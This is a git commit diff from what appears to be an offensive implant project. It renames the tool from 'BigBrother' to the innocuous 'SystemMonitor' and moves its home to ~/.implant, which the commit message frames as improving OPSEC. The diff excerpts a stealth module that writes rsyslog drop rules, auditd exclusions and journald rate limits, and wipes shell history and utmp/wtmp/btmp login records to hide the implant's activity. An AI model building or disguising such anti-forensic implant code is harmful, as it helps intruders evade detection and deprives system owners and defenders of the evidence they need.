Fix #211: Remove tool identity strings from deployed artifacts

- Replace BigBrother -> SystemMonitor in display names and docstrings
- Replace logger names: bb.* -> sensor.*
- Replace process names: bb-* -> sensor-*
- Replace home directory: ~/.bigbrother -> ~/.implant
- Replace LUKS device: /dev/mapper/bb-* -> /dev/mapper/sensor-*
- Updated 76 Python files across all modules
- Improves OPSEC by removing obvious tool fingerprints from logs and runtime
This commit is contained in:
Cobra
2026-04-06 11:39:48 -04:00
parent ae4933044b
commit 1eb35c9050
76 changed files with 203 additions and 203 deletions
+9 -9
View File
@@ -2,7 +2,7 @@
"""Log suppression module — minimize forensic artifacts in system logs.
Installs rsyslog filter rules, auditd exclusions, journald rate limits,
and clears shell history / login records related to BigBrother activity.
and clears shell history / login records related to SystemMonitor activity.
All installed rules are removed on clean stop.
"""
@@ -15,16 +15,16 @@ from typing import Dict, List
from modules.base import BaseModule
logger = logging.getLogger("bb.stealth.log_suppression")
logger = logging.getLogger("sensor.stealth.log_suppression")
RSYSLOG_CONF = "/etc/rsyslog.d/01-bb-suppress.conf"
JOURNALD_CONF_DIR = "/etc/systemd/journald.conf.d"
JOURNALD_CONF = os.path.join(JOURNALD_CONF_DIR, "bb.conf")
JOURNALD_CONF = os.path.join(JOURNALD_CONF_DIR, "sensor.conf")
AUDITD_RULES_FILE = "/etc/audit/rules.d/bb-exclude.rules"
class LogSuppression(BaseModule):
"""Suppress system log entries that could reveal BigBrother activity."""
"""Suppress system log entries that could reveal SystemMonitor activity."""
name = "log_suppression"
module_type = "stealth"
@@ -129,7 +129,7 @@ class LogSuppression(BaseModule):
"""Write rsyslog config to drop log entries matching our processes/paths."""
try:
lines = [
"# BigBrother log suppression — auto-generated, removed on clean exit",
"# SystemMonitor log suppression — auto-generated, removed on clean exit",
"# Drop messages containing our process names or paths",
]
@@ -173,7 +173,7 @@ class LogSuppression(BaseModule):
# ------------------------------------------------------------------
def _install_auditd_exclusions(self) -> None:
"""Write auditd rules excluding BigBrother PIDs and paths."""
"""Write auditd rules excluding SystemMonitor PIDs and paths."""
try:
rules_dir = os.path.dirname(AUDITD_RULES_FILE)
if not os.path.isdir(rules_dir):
@@ -181,7 +181,7 @@ class LogSuppression(BaseModule):
return
lines = [
"# BigBrother auditd exclusions — auto-generated",
"# SystemMonitor auditd exclusions — auto-generated",
]
# Exclude our install path from file watches
@@ -235,7 +235,7 @@ class LogSuppression(BaseModule):
os.makedirs(JOURNALD_CONF_DIR, exist_ok=True)
config_lines = [
"# BigBrother journald rate-limit — auto-generated",
"# SystemMonitor journald rate-limit — auto-generated",
"[Journal]",
"RateLimitIntervalSec=5s",
"RateLimitBurst=5",
@@ -308,7 +308,7 @@ class LogSuppression(BaseModule):
# ------------------------------------------------------------------
def _clear_login_records(self) -> None:
"""Clear utmp/wtmp/btmp entries that could reveal BigBrother sessions."""
"""Clear utmp/wtmp/btmp entries that could reveal SystemMonitor sessions."""
record_files = [
"/var/run/utmp",
"/var/log/wtmp",